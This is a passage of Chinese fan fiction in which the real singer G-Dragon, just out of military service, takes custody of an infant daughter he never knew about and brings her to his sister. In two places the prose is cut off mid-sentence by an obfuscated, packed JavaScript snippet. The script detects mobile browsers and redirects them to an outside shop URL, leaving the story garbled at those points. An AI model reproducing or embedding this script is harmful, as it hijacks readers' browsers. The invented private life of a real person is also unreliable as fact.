《GD父女星尘与摇篮曲》 1. 第一章 秋日归营 江原道的山风,在十月末的清晨,已经带上了刀刃般的锋利。 权志龙站在白骨部队新兵教育队的操场上,背脊习惯性地挺得笔直,军装外套的领口被风吹得微微翻动。晨雾还未完全散去,远处的山峦在灰白的天幕下勾勒出沉默的轮廓。耳畔是教育队长做最后训示的声音,那些关于“保持军人本色”、“为社会做贡献”的语句,像隔着一层毛玻璃传来,不甚清晰。 他微微垂下眼睫,看着自己脚上那双磨得有些发白的军靴。 七百多天。 说长不长,说短不短。长到足以让肌肉记住每一种枪械的重量,让生物钟精确到秒,让某些喧嚣在记忆中褪色成遥远的背景噪音。短到仿佛昨天才刚剪短头发,站在镜子前看着那个陌生的自己。 “权志龙二等兵。” “到!”条件反射般立正,声音干脆。 教育队长走到他面前,拍了拍他的肩膀。这位一贯严厉的中年军官,此刻眼神里有种罕见的温和。“辛苦了。回去吧,好好生活。” “是!感谢您的指导!” 简单的交接仪式结束后,权志龙拎着那个并不算多的行军包,走向营区大门。没有鲜花,没有镁光灯,没有粉丝哭喊着的“欧巴”。只有几个同期退伍的战友,互相拍拍肩膀,说几句“保持联系”、“首尔见”,便各自钻进等候的车里。 这样很好。他拉开车门时想。寂静的离开,如同他寂静地到来。 经纪人金南国坐在驾驶座上,回过头来看他,脸上的笑容有些复杂,混合着如释重负和某种欲言又止。“欢迎回来,志龙。” “嗯。”权志龙把包扔到后座,坐进副驾驶,摘下军帽。头发已经长了些,但依旧短得贴着头皮,摸上去有些刺手。他靠进椅背,闭上眼。“直接回公寓。” 车子驶出营区,融入国道上的车流。窗外的景色从苍茫的山林逐渐变为零散的民居,再过渡到城市的边缘。首尔的轮廓在地平线上显现,那些熟悉又陌生的高楼大厦在秋日稀薄的阳光下反射着冷淡的光。 “路上要不要吃点东西?”金南国试探着问,“你瘦了不少。” “不饿。”权志龙睁开眼,看向窗外。街道两旁的广告牌上,出现了几张新鲜的面孔,是这两年新崛起的偶像团体。他认得其中几个,是在部队里偶尔从年轻战友的手机屏幕上看到的。潮流更迭的速度,比他想象中更快。 车内陷入一阵沉默。只有引擎的低鸣和空调出风口的细微声响。 金南国握着方向盘的手指紧了紧,又松开。他透过后视镜看了权志龙几次,终于清了清嗓子,语气是前所未有的谨慎:“志龙啊……有件事。在你服役期间处理的。” 权志龙没动,依旧看着窗外飞逝的街景。“说。” “关于……一个孩子。” 窗外,一片枯黄的梧桐叶被风卷起,打在车窗上,发出轻微的“啪”一声。 权志龙缓缓转过头,看向金南国。“什么?” 金南国从副驾驶座的储物格里拿出一个厚重的牛皮纸文件袋,递过来。文件袋的封口用白色棉线仔细缠绕着,边缘有些磨损,显然已经被反复打开又合上多次。 “女孩。一岁半。”金南国的声音很轻,语速却快,像是要尽快把这件事说完,“生母叫李智媛。去年冬天……病逝了。淋巴癌,发现时已经是晚期。” 李智媛。 这个名字像一颗投入深潭的石子,在权志龙记忆里激起一圈圈扩散的涟漪。柏林。2017年秋。时装周after party上那个穿一袭暗红色丝绒长裙、独自站在画廊角落看画的女人。她转过身来时,眼睛在迷离的灯光下像盛着碎钻的琥珀。他们聊康定斯基,聊蒙德里安,聊音乐里的几何感。她说韩语带着一点柔软的釜山口音,笑起来左颊有个很浅的梨涡。 只有一夜。黎明时分在旅馆房间门口的告别,她踮脚在他脸颊留下的那个吻,轻得像蝴蝶扇动翅膀。 他甚至没问她的全名。 “DNA检测确认了,你是生物学父亲。”金南国的声音继续传来,每个字都清晰得残忍,“生母没有其他直系亲属,父母早逝,是独生女。遗嘱里指定了你作为唯一监护人。法律程序……在你不知情的情况下,由法院和她的委托律师完成了大部分。现在,只等你正式签字接收。” 权志龙的手指触碰到文件袋粗糙的表面。他没动,只是看着那个袋子,仿佛那是什么会咬人的东西。 “孩子现在在哪?”他的声音听起来很平静,平静得连他自己都感到陌生。 “暂时由社会福利机构安排的寄养家庭照看,在麻浦区。一对中年夫妇,没有自己的孩子,对小孩很有耐心。”金南国从后视镜里看着他,眼神担忧,“社工说,孩子很安静,不太哭闹,但……也不太笑。” 权志龙解开了文件袋的绕线。 里面是厚厚一叠法律文书。法院的监护权转移裁定、DNA检测报告、生母的死亡证明、遗嘱公证副本……纸张冰冷,公章鲜红,黑体字一行行罗列着不容置疑的事实。他的目光掠过那些条款,最终停在文件附页的几张照片上。 第一张是出生证明上的证件照。刚出生的婴儿,皮肤红皱,眼睛紧闭,小小的拳头攥着。 第二张是大约半岁时的照片。她躺在铺着碎花床单的婴儿床上,睁着圆圆的眼睛看向镜头,瞳孔是清澈的浅褐色,像浸泡在水里的琥珀。她的头发是柔软的深棕色,微卷。 第三张是近期拍的。她坐在铺满阳光的爬行垫上,穿着浅蓝色的连体衣,手里抓着一个软积木。她没看镜头,而是歪着头,专注地看着垫子边缘的一只绒毛兔子玩偶。那只兔子很旧了,一只耳朵几乎要掉下来,缝线歪歪扭扭。 她的侧脸线条——尤其是眉骨的弧度,微微上扬的眉尾——和他年少时的照片,几乎重叠。 最后一张,是生母李智媛和孩子的合影。背景是医院的病房,窗帘拉着,光线昏暗。李智媛坐在病床上,瘦得几乎脱形,面色苍白如纸,但眼睛依然明亮。她怀里抱着孩子,大约一岁左右的小贤智,穿着小小的病号服,安静地依偎在母亲胸前。李智媛低头看着女儿,嘴角挂着极温柔、极疲惫的笑。 照片边缘,用圆珠笔写着一行小字:「贤智一岁生日。妈妈可能看不到下一个了。要记得笑啊,宝贝。」 权志龙猛地合上了文件。 他转过头,看向车窗外。首尔的街景飞速后退,繁华,喧嚣,陌生。他的手指无意识地攥紧了文件袋,纸张在掌心发出轻微的窸窣声。 “先去接她。”他说。 金南国愣了一下:“现在?志龙,要不要先回公寓休息一下?或者我们商量一下怎么安排?儿童房、保姆、以后的日程……” “现在。”权志龙重复,声音里没有任何商量的余地。 金南国张了张嘴,最终还是叹了口气,在下个路口调转了方向。 车厢内重新陷入沉默。权志龙重新打开文件袋,这一次,他翻到了最底层。那里有一个浅蓝色的信封,没有邮票,没有地址,只写着「权志龙先生亲启」。 他拆开信封。 里面只有一页信纸,字迹娟秀,但笔画有些虚浮无力,显然书写者当时已经非常虚弱。信纸上有几处被水渍晕开的痕迹,分不清是泪水还是别的什么。 「志龙先生: 当你看到这封信时,我应该已经变成天上的星星了。 首先要说对不起。以这种方式让你知道贤智的存在,一定让你很困扰吧。也要说谢谢,因为你的基因,给了我生命中最珍贵的礼物。 贤智是个很安静的孩子。喜欢蓝色,害怕吸尘器的声音,听到钢琴曲会安静下来。她眉毛像你,下巴的弧度也像你。有时候看着她,我会想,如果你见到她,会是什么表情。 请不要有负担。我留下了一笔信托基金,足够她安稳长大。只希望,在她需要的时候,你能给她一个拥抱,告诉她爸爸在这里。 那晚在柏林,你说人生像即兴爵士,每一个音符落下就不能重来。我想告诉你,贤智是我生命里最完美的即兴旋律。因为有了她,最后的这些日子,每一天都像被光照亮。 最后,拜托了。请让她平凡、快乐地长大。不要成为第二个G-Dragon,就做第一个李贤智吧。 ps. 她睡觉时要听《小星星变奏曲》。任何版本都可以。 智媛绝笔」 信纸的右下角,贴着一张小小的拍立得照片。是贤智一岁生日时拍的,脸上糊着奶油,却对着镜头笑得眼睛弯成了月牙。照片背面用稚嫩的、歪歪扭扭的笔迹(显然是大人握着她的手写的)写着:「给爸爸」。 权志龙盯着那张照片看了很久。 然后他抬起头,看向窗外。车子已经驶入了麻浦区,街道变得安静,两旁是年代久远的住宅楼和郁郁葱葱的行道树。秋日的阳光透过枝叶的缝隙洒下来,在地上投下斑驳晃动的光斑。 “快到了。”金南国低声说,语气有些紧张。 权志龙把信纸仔细折好,连同那张拍立得照片,一起放回信封,再小心翼翼地塞进文件袋的最里层。他整理了一下身上那件简单的灰色连帽卫衣——退伍后换上的便服,还是两年前的款式——又下意识地摸了摸自己短硬的头发。 车子在一栋六层高的旧式公寓楼前停下。楼体是米黄色的,阳台外晾晒着各色衣物,有些窗户摆着绿植。看起来普通,温暖,充满生活气息。 金南国先下车,和早已等在楼下的社工李秀妍简单交谈了几句。权志龙推开车门,秋日清冷的空气涌进来,让他精神一振。 李秀妍是一位四十岁左右、面容温和的女性,穿着米色的针织开衫和深色长裤。她看到权志龙时,眼神里有一闪而过的惊讶,但很快被专业的平静取代。“权志龙先生?我是负责李贤智个案的社工李秀妍。孩子在楼上,请跟我来。” 楼梯间有些昏暗,空气中飘着淡淡的食物香气和洗衣粉的味道。权志龙的脚步声在安静的楼道里回响,每一步都踩在自己的心跳上。 三楼,右手边的门虚掩着。李秀妍轻轻敲了敲门,里面传来一个中年女声:“请进。” 寄养家庭的女主人姓朴,是一位圆脸、笑容和善的妇人。她打开门,看到权志龙时愣了一下,但很快恢复笑容,压低声音说:“贤智刚午睡醒来,在房间里玩。请进,请进。” 房子不大,但收拾得整洁温馨。客厅的沙发上铺着手工钩织的毛线垫,电视柜上摆着家庭照片和几盆绿植。空气中飘着淡淡的奶香和烘烤饼干的甜味。 朴女士引他们来到一间小小的卧室门口。门半开着。 权志龙站在门口,透过门缝往里看。 房间很小,铺着印有卡通星星月亮的泡沫地垫。靠窗的位置摆着一张矮矮的儿童床,被子叠得整齐。而在地垫中央,一个小小的身影背对着门坐着。 贤智。 她穿着浅黄色的棉质连体衣,脚上是白色的短袜。深棕色的头发有些乱,在脑后扎成一个小揪揪,用红色的皮筋绑着。她面前摊开一本厚厚的布书,但她没看,而是低着头,专心致志地摆弄着手里的一样东西——正是照片里那只破旧的兔子玩偶。她用小小的手指,一遍又一遍地梳理着兔子那只快要掉下来的耳朵,动作缓慢,专注。 她的背影那么小,那么安静,仿佛自成一个小小世界,隔绝了外界的一切声响。 权志龙感到喉咙发紧。他深吸一口气,抬起手,用指节轻轻敲了敲门框。 叩、叩。 贤智的动作停住了。 她慢吞吞地转过头来。 时间在那一刻被拉得很长。 她完全转过身子,仰起小脸,看向门口。 权志龙终于看清了她的正脸。比照片上更生动,也更……真实。皮肤白皙,两颊带着幼儿特有的、健康的红润。眼睛果然很大,瞳孔是清澈的浅褐色,在从窗户透进来的阳光下,像两块温润的蜜糖。她的眉毛,那两道细长、眉尾微微上扬的弧线,和他镜中自己的眉眼,几乎是一个模子刻出来的。小鼻子挺翘,嘴唇抿着,没有什么表情。 她就这么看着他,眼睛一眨不眨。没有害怕,没有好奇,没有欢迎。只是一种纯粹的、安静的观察。像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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权志龙弯下腰,动作有些笨拙,却万分谨慎地将这个小小的人儿抱了起来。她很轻,比想象中还要轻,抱在怀里像抱着一团温暖的云。她身上有幼儿特有的奶香,混合着阳光晒过棉布的味道。小脑袋自然而然地靠在了他的肩膀上,软软的发丝蹭着他的脖颈。 贤智在他怀里调整了一下姿势,找到一个舒服的位置,然后闭上了眼睛。呼吸很快就变得均匀绵长。 权志龙抱着她,站在原地,一动不敢动。他低头看着怀里那张沉睡的小脸,长长的睫毛在眼下投出浅浅的阴影,小嘴微微张着,睡得毫无防备。 窗外,秋日的阳光正好,透过玻璃洒进来,暖洋洋地笼罩着他们。 “她的东西已经收拾好了。”朴女士轻声说,指了指墙角一个印着卡通图案的帆布行李袋,“衣服、玩具、日常用品都在里面。还有……她母亲的几本相册和日记,我也一并整理好了。” 权志龙点点头,目光依旧落在贤智脸上。“谢谢您这段时间照顾她。” “贤智是个很乖的孩子。”朴女士抹了抹眼角,“就是……太安静了。希望以后,她能多笑一笑。” 李秀妍社工将一些文件递给金南国,低声交代着后续的手续和注意事项。金南国连连点头,神色郑重。 权志龙抱着贤智,走向门口。他的脚步很稳,手臂保持着绝对的平稳,生怕颠醒了怀里的孩子。走下楼梯时,他下意识地将她搂得更紧了些,用自己的身体为她挡住可能灌进来的冷风。 坐进车里,金南国小心翼翼地将行李袋放到后座,然后发动了车子。引擎声很轻,空调送出温暖的风。 权志龙依旧抱着贤智,让她靠在自己怀里。他低头看着她,看着那张与自己如此相似、又如此陌生的小脸。 柏林的那一夜,那个穿红裙的女人,那些关于艺术与生命的交谈,那个黎明时分轻如羽毛的吻……所有的一切,在七百多天的军旅岁月后,已经变得模糊而遥远,像一个朦胧的、不太真实的梦。 直到此刻。 直到这个小小的、温暖的、沉甸甸的生命真实地依偎在他怀里。 那个梦,有了具体的形状、重量和温度。它变成了一个一岁半的女儿,一个叫李贤智的孩子,一个失去母亲、等待父亲的孩子。 车子驶向龙山区,驶向那个空旷冰冷的顶层公寓。权志龙抬起头,看向窗外。 首尔的天空是秋日特有的、清澈的灰蓝色,云层很薄,阳光时隐时现。 退伍的日子,他脱下军装,以为会面临一段调整与选择的迷茫期,以为要独自面对团队分崩离析后的废墟,思考如何在一片狼藉中重建自己的艺术与生活。 然而,命运却以一种最直接、最不容拒绝的方式,给了他一个全新的、必须立刻承担的身份。 他不是回归了舞台,不是回归了聚光灯下。 他是回归到了一个一岁半女儿的身边。 他的沉寂,不再是休整或观望,而是必须为了怀中小小的呼吸,去学习如何成为一个父亲。他的下一步,不再是策划怎样的音乐风暴,而是思考今晚该讲什么睡前故事,明天该准备什么辅食。 手机在口袋里震动了一下。他腾出一只手,拿出来看。 是姐姐权多美发来的消息:「退伍快乐!晚上来家里吃饭?妈妈做了很多你爱吃的。顺便……有惊喜哦。」 他盯着屏幕看了几秒,然后回复:「姐,我有件事要告诉你。很重要的事。我现在过去找你。」 发送。 然后他关掉手机,重新将注意力放回怀里的孩子身上。贤智在睡梦中动了动,小嘴咂巴了一下,无意识地往他怀里缩了缩。 权志龙收紧手臂,极轻地、用只有自己能听到的声音说: “贤智啊。” “爸爸在这里。” 窗外的城市飞速后退,秋日的阳光透过车窗,在贤智柔软的头发上跳跃,勾勒出一圈毛茸茸的光晕。 前方的路,迷雾重重,充满未知。 但怀里的温度,真实而坚定。 这一刻,权志龙知道,有些东西,永远地改变了。 2. 第二章姐姐 车子驶入龙山区时,天色已经微微转暗。深秋的白昼短暂,下午四点刚过,天际线就被染上了一层朦胧的灰紫色。汉江上的桥梁亮起了灯,像一串被随意抛洒的钻石,在渐浓的暮色中明明灭灭。 贤智在后座的儿童安全座椅里睡着了。权志龙给她系安全带时笨手笨脚,研究了半天才扣好。此刻她歪着小脑袋,怀里依旧紧紧搂着那只破兔子,呼吸均匀绵长。窗外的流光偶尔掠过她熟睡的脸,留下一闪而过的光影。 权志龙坐在她旁边的位置上,没有像往常那样低头看手机或者闭目养神。他就那么侧着身,静静地看着她。看她的睫毛如何在眼睑下投出浅浅的阴影,看她偶尔微微翕动的鼻翼,看她抓着兔子耳朵、指节都有些发白的小手。 一种奇异的、近乎恍惚的感觉包裹着他。 这个孩子。他的女儿。 几个小时前,这个词还只是一个冰冷法律文件里的抽象概念,一个遥远记忆带来的意外后果。现在,她是一个有温度、有重量、会呼吸的实体,正睡在他触手可及的地方。 “直接去多美姐那里吗?”金南国低声问,打破了车内的沉默。 “嗯。”权志龙收回目光,坐正身体,“她住的那栋楼有地下停车场,入口比较隐蔽。” 金南国点点头,熟练地转动方向盘,驶入一条相对安静的支路。他知道权志龙的姐姐权多美——时尚设计师,在清潭洞有一间自己的工作室,住在附近一栋安保严密的精品公寓里。姐弟俩关系亲近,在多美面前,权志龙能卸下不少防备。 车子悄无声息地滑入地下车库。感应灯次第亮起,照亮空旷的停车区域。权志龙先下车,绕到另一侧,小心翼翼地解开儿童座椅的安全带。他的动作依旧生疏,生怕弄醒了孩子。贤智在睡梦中皱了皱小鼻子,往兔子玩偶里埋了埋脸,但没有醒。 权志龙将她连同裹着的小毯子一起抱出来。她比看起来还要轻,窝在他臂弯里,像一只毫无防备的幼兽。 金南国从后备箱拿出那个卡通帆布行李袋,还有权志龙自己的行军包。“要我陪你上去吗?” “不用。”权志龙摇摇头,“你先回去吧。今天……辛苦了。” 金南国看着他,欲言又止,最终只是拍了拍他的肩膀:“有事随时打电话。媒体那边我会盯着。” 电梯平稳上升。镜面墙壁映出权志龙的身影——抱着孩子的男人,穿着简单的灰色卫衣和牛仔裤,头发短硬,眼下有淡淡的阴影。他避开自己的镜像,目光落在贤智沉睡的小脸上。 “叮”一声轻响,电梯门在顶层打开。 权多美的公寓门口铺着一块很有设计感的黑色几何图案地毯。权志龙没有手按门铃,只好用脚尖轻轻踢了踢门板。 里面传来由远及近的脚步声,干脆利落。门被拉开。 “哎一股,我们的大兵终于舍得回……”权多美带着笑意的声音戛然而止。 她站在门口,身上还系着一条印有抽象线条的深蓝色围裙,手里拿着一把木勺,显然刚从厨房出来。她的目光先是落在权志龙脸上,随即迅速下移,定格在他怀里那个被毯子包裹着、只露出小半张脸和棕色头发的“物体”上。 时间凝固了几秒。 权多美的眼睛慢慢睁大,握着木勺的手指收紧。她抬起头,看向弟弟,那双与权志龙极为相似、但线条更显锐利的眼睛里,充满了惊愕、询问,以及一种迅速沉淀下来的、近乎本能的保护性警惕。 “进来。”她没有多问,侧身让开通道,声音压得很低。 权志龙抱着贤智走进公寓。多美的家和他那里是截然不同的风格。空间不算特别大,但挑高足够,开放式布局,以黑白灰为主色调,点缀着大胆的金属色和几何图形。家具线条硬朗,墙上挂着几幅现代主义画作和她的设计手稿。空气中飘着炖汤的浓郁香气,混杂着淡淡的雪松香薰味。 “轻点,放沙发上。”多美指了指客厅中央那张宽大的深灰色模块沙发,上面随意搭着一条柔软的米白色羊绒盖毯。 权志龙依言,动作极其轻柔地将贤智放在沙发上,用盖毯的一角盖住她的肚子。贤智在睡梦中动了动,小手无意识地攥紧了毯子边缘,但没醒。 直到这时,权多美才放下木勺,脱下围裙随手搭在餐椅背上。她走到沙发边,没有立刻去看孩子,而是先紧紧拥抱了弟弟一下。 那个拥抱很用力,带着姐姐特有的、不容置疑的温暖和力量。 “受苦了。”她在权志龙耳边低声说,只有三个字。 权志龙的喉咙哽了一下。他没说话,只是摇了摇头。 多美松开他,这才转过身,在沙发前的地毯上跪坐下来,视线与沙发上的贤智齐平。她没有伸手去碰,只是微微倾身,仔细地、专注地端详着那个小小的睡颜。 客厅顶灯的光线被她调整过,此刻是柔和的暖黄色,洒在贤智的脸上。孩子睡得正沉,睫毛像两把小扇子,在脸颊上投下细密的阴影。她的眉毛,那两道清晰上扬的弧线,在睡梦中也微微蹙着,带着一点不属于这个年龄的、浅浅的忧悒。 权多美的目光在贤智脸上停留了很久,从眉毛到眼睛,到鼻子,到嘴唇。然后,她缓缓伸出手,用指尖——极其轻地——碰了碰贤智额前柔软的碎发。 “像你。”她低声说,声音有些沙哑,“眉毛,还有下巴的轮廓。简直一模一样。” 权志龙在她身边坐下,也看着贤智。“眼睛像她妈妈。” 多美沉默了片刻。“妈妈呢?” “病逝了。癌症。”权志龙言简意赅,从随身携带的文件袋里抽出那封浅蓝色的信,递给姐姐。 多美接过,就着灯光快速阅读。她的表情很平静,但权志龙注意到,她捏着信纸边缘的指节微微泛白。读完,她没有立刻说话,而是将信纸仔细折好,放回信封,递还给弟弟。 “叫什么名字?”她问。 “贤智。李贤智。” “贤智……”多美重复了一遍,目光重新落回孩子脸上,眼神变得柔软了些,“好名字。几岁了?” “一岁半。去年三月生的。” 多美在心里快速计算了一下时间线,没有说话。她站起身,走到开放式厨房的中岛边,倒了两杯温水,一杯递给权志龙,自己拿着另一杯,靠在料理台边缘。 “所以,”她喝了一口水,语气恢复了平日里的冷静和直接,“你退伍第一天,就多了个女儿。法律手续都办完了?” “嗯。监护权已经转移了。”权志龙握着水杯,指尖感受着玻璃的凉意,“寄养家庭暂时照顾了她几个月。” “接下来打算怎么办?”多美的问题一针见血,“带回你那个博物馆一样的房子?一个人照顾?你知道怎么照顾一岁半的孩子吗?” 一连串的问题砸过来,权志龙没有躲避。他抬起眼,看向姐姐:“不知道。但我得照顾她。” 多美盯着他看了几秒,忽然叹了口气,放下水杯,走到他面前,屈起手指不轻不重地敲了一下他的额头。 “还是这么冲动。”她说,语气里却没有责备,只有一种“果然如此”的无奈,“行李呢?孩子的日常用品带了吗?” “在门口。” 多美走到玄关,拎起那个卡通帆布袋,打开看了看。里面整齐地叠放着婴幼儿衣物、奶瓶、尿布、小毯子,还有一些零散的玩具和绘本。最上面放着一个素色的布艺收纳袋,摸着像是相册和笔记本。 她拎着袋子走回客厅,从里面拿出一个奶瓶和一罐奶粉,瞥了一眼标签。“这个牌子的奶粉她喝得惯?” “寄养家庭说可以。” 多美没再问,拿着东西进了厨房。权志龙听到她打开橱柜、烧热水、清洗奶瓶的声音,熟练而有序。不一会儿,她端着一瓶温度刚好的奶走了出来。 “虽然她睡了,但万一醒来可能会饿。”多美将奶瓶放在沙发旁的边几上,用保温套罩好,“你吃饭了吗?” 权志龙摇摇头。 “我就知道。”多美转身回到厨房,“妈本来晚上要过来,我推说你想先安静休息两天。看来这个决定是对的。你先坐着,汤应该好了,我再炒两个菜。” 厨房里传来锅铲碰撞的清脆声响,抽油烟机低声嗡鸣。权志龙没有动,依旧坐在沙发边的地毯上,看着贤智。孩子的睡颜在温暖的灯光下显得无比安宁,仿佛外界的一切纷扰都无法侵入她小小的梦境。 多美很快端出来几个菜:一锅热气腾腾的参鸡汤,一碟清炒时蔬,还有一碟辣炒猪肉。都是家常菜,但摆盘精致,色彩搭配看得出用心。 “先吃饭。”她把碗筷递给权志龙,“孩子一时半会不会醒。” 权志龙确实饿了。军队的伙食能填饱肚子,但少有这般温暖的家常味道。他埋头吃饭,多美就坐在对面,自己没动几口,大部分时间都在看着他吃,偶尔瞥一眼沙发上的贤智。 “YG那边知道吗?”等他吃得差不多了,多美才开口。 “南国哥知道。公司……暂时还没正式沟通。”权志龙放下筷子,“现在这种情况,他们自己的麻烦都够多了。” 多美明白他指的是什么。BigBang另一位成员引发的巨大丑闻以及后续一系列司法调查,让YG娱乐在过去一年多里深陷泥潭,股价震荡,公众信任度跌至冰点。权志龙作为团队核心,在此时退伍,本就处于微妙的境地。 “也好。”多美冷静地说,“你现在有更重要的事。孩子的事,在你想清楚怎么处理、怎么保护她之前,越少人知道越好。”她顿了顿,补充道,“爸妈那边,你打算怎么说?” 权志龙揉了揉眉心:“我会尽快告诉他们。但……需要点时间。” “我来安排。”多美干脆地说,“周末吧,请他们来我这里吃饭。我这边环境相对私密。你带着贤智过来,慢慢说。”她看着弟弟略显疲惫的神色,语气缓和了些,“别担心,爸妈只会高兴。他们盼孙子孙女盼了很久。只是……方式可能需要委婉一点。” 权志龙点点头。有姐姐在,很多事情似乎就有了着落。 就在这时,沙发那边传来轻微的响动。 两人同时转头看去。 贤智醒了。 她先是动了动,然后慢慢睁开了眼睛。或许是因为在陌生环境里醒来,她的眼神有些迷茫,没有立刻哭闹,只是安静地躺着,转动着眼珠,打量着天花板和周围陌生的陈设。 然后,她看到了坐在不远处的权志龙。 那双浅褐色的大眼睛眨了眨,似乎花了点时间才将他从“睡着前见过的陌生人”与“醒来后看到的影像”对应起来。她没有动,只是看着他。 权志龙放下碗筷,起身走到沙发边,单膝跪下来,视线与她齐平。 “醒了?”他尽量让声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135650|196261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听起来柔和。 贤智没说话,目光从他脸上移开,落在了边几上那个套着卡通保温套的奶瓶上。 多美也走了过来,但没有靠得太近,保持着一段让幼儿感到安全的距离。她观察着贤智的反应。 权志龙顺着贤智的目光,拿起奶瓶,试了试温度,然后递到她面前。“喝吗?” 贤智看了看奶瓶,又看了看权志龙,然后伸出小手,抱住了奶瓶。但她没有立刻喝,而是抱着它,再次看向权志龙,仿佛在确认什么。 权志龙不太明白,求助似的看向姐姐。 多美轻声说:“她可能想让你抱着喝。” 权志龙愣了一下,随即小心翼翼地伸出手,将贤智连同毯子一起抱起来,让她靠在自己怀里坐好。贤智调整了一下姿势,找到一个舒服的位置,这才低下头,小口小口地吮吸起奶瓶。 客厅里很安静,只有贤智吞咽时发出的细微声响。权志龙抱着她,身体有些僵硬,但手臂稳稳地托着。多美站在一旁,看着这一幕,眼神复杂——有担忧,有心疼,也有一种隐约的、柔软的触动。 贤智很快喝完了大半瓶奶,松开了奶嘴。权志龙接过奶瓶,她打了个小小的奶嗝,然后转动脑袋,这次,目光落在了权多美身上。 两双相似的眼睛在空气中相遇。 贤智看着多美,眼神里没有害怕,只有一种纯然的好奇。她看了几秒,然后,做了一件让权志龙和多美都意外的事—— 她朝着多美,伸出那只没抓兔子玩偶的小手,张开五指,轻轻抓握了一下空气。 像是一个无声的招呼,又像是一种本能的、对“女性”和“温柔”气息的探寻。 多美的呼吸滞了一瞬。 她慢慢蹲下身,没有立刻去握那只小手,而是从口袋里摸出一样东西——是一枚小小的、银色翅膀形状的胸针,原本别在她的围裙上,刚才摘围裙时顺手放进了口袋。她将胸针放在掌心,递到贤智面前。 翅膀在灯光下反射出细腻的光泽。 贤智的注意力被吸引了。她盯着那枚胸针看了几秒,然后伸出小手,用食指的指尖,极其轻地碰了碰翅膀的边缘。 凉的,滑的。 她收回手,又看了看多美,然后,嘴角极其轻微地、几乎看不见地,向上弯了一下。 不是一个笑容,更像是一种面部肌肉无意识的牵动。 但权多美的眼圈,就在那个瞬间,毫无征兆地红了。 她猛地别过脸,站起身,快步走向厨房,留下一个微微发颤的背影。 权志龙抱着贤智,有些无措。他听到厨房里传来水龙头打开的声音,还有姐姐极力压抑的、细微的吸气声。 贤智似乎对多美的离开有些困惑,她转头看向权志龙,大眼睛里带着询问。 权志龙不知道该怎么解释,只好轻轻拍着她的背,低声说:“姑姑……去洗手。” 贤智似懂非懂,又把脸埋回他怀里,小手无意识地抓着他的衣领。 过了一会儿,多美从厨房出来,脸上已经恢复了平静,只有眼角还残留着一丝未散尽的红痕。她走到沙发边,没有再看贤智,而是对权志龙说:“今晚你们就住这里。客房我已经收拾好了。孩子的东西,”她指了指那个帆布袋,“我明天帮你整理,该买的要买,你那个房子根本不像能住小孩的地方。” “姐……” “听我的。”多美的语气不容置疑,“你现在脑子是乱的,需要有人帮你理清楚。这几天你先在我这儿适应一下,学学怎么照顾孩子的基本操作。你那间‘艺术展厅’,”她刻意加重了那几个字,“我会找人来稍微改造一下,至少弄个安全的儿童角出来。” 权志龙沉默了片刻,点点头。“谢谢。” “谢什么。”多美瞪了他一眼,但眼神是软的,“我是你姐。”她顿了顿,看向他怀里的贤智,声音低了下去,“也是她姑姑。” 夜深了。 权志龙躺在客房的床上,贤智睡在他旁边临时布置的婴儿床里——是多美从储物间翻出来的旧摇篮,原本是朋友寄放在这里的,没想到派上了用场。摇篮里铺了柔软的垫子和干净的小被子,贤智躺进去,抱着她的兔子,很快又睡着了。 权志龙却毫无睡意。 他侧躺着,借着窗外透进来的、城市永不熄灭的微光,看着摇篮里那个小小的隆起。 这一天发生的一切,像一场过于急促的蒙太奇,在他脑海里反复闪回。退伍的瞬间,文件袋的触感,照片上李智媛苍白的笑容,信纸上的字迹,贤智抓住他手指的温度,姐姐发红的眼眶…… 所有的一切,都指向一个不可逆转的事实:他的人生,从今天起,拐上了一条完全陌生的岔路。 没有彩排,没有剧本。 只有怀里这个真实存在的孩子,和随之而来的、沉甸甸的责任。 他轻轻伸出手,越过摇篮的边缘,用指尖触碰了一下贤智露在被子外面的小手。温热的,柔软的。 贤智在睡梦中动了动,小手无意识地握住了他的手指。 权志龙没有抽回手。 他就这样任由她握着,在陌生的客房,在姐姐的公寓,在退伍归来的第一个夜晚。 窗外的首尔,灯火流转,永不停歇。 而在这个安静的房间内,一种全新的、笨拙的、尚未命名的羁绊,正在悄然生根。 3. 第三章 晨光与奶渍 清晨六点刚过,权志龙就醒了。 军队两年刻入骨子里的生物钟,比任何闹钟都精准。他睁开眼,盯着陌生的天花板看了几秒,才反应过来自己身在何处——姐姐家的客房。 意识回笼的瞬间,他几乎是立刻侧身,看向床边的摇篮。 空的。 权志龙的心脏猛地一跳,倏地坐起身。摇篮里的小被子被掀开,那只破旧的兔子玩偶歪倒在一边,不见贤智的身影。 恐慌像冰冷的水,瞬间漫过四肢百骸。他掀开被子下床,赤脚踩在微凉的地板上,正要冲出去—— 客厅传来极轻微的、窸窸窣窣的声响,还有压低的人声。 他顿住脚步,深吸一口气,轻轻拉开房门。 客厅只开了一盏壁灯,昏黄的光线笼罩着一角。权多美背对着他,坐在沙发边的地毯上,面前摊开一本厚厚的育儿指南,手里拿着手机,正压低声音说话:“……对,一岁半左右的女婴,需要全套儿童安全防护设备。窗户护栏、家具边角贴、电源插座保护盖……今天就安装,对,汉南洞那套顶层公寓。” 她停顿了一下,侧耳听着电话那头的话,手指无意识地翻着书页。“嗯,还有婴儿床、尿布台、温奶器……清单我发给你。品牌要安全认证齐全的,设计……简洁点,不要太花哨。” 权志龙的目光这才移向多美身旁——贤智就坐在她旁边的地毯上,身上裹着小毯子,怀里抱着兔子玩偶,正安静地摆弄一个色彩鲜艳的软胶积木。她似乎对多美的电话不感兴趣,只是专注地把积木塞进嘴里啃了啃,发现咬不动,又拿在手里翻来覆去地看。 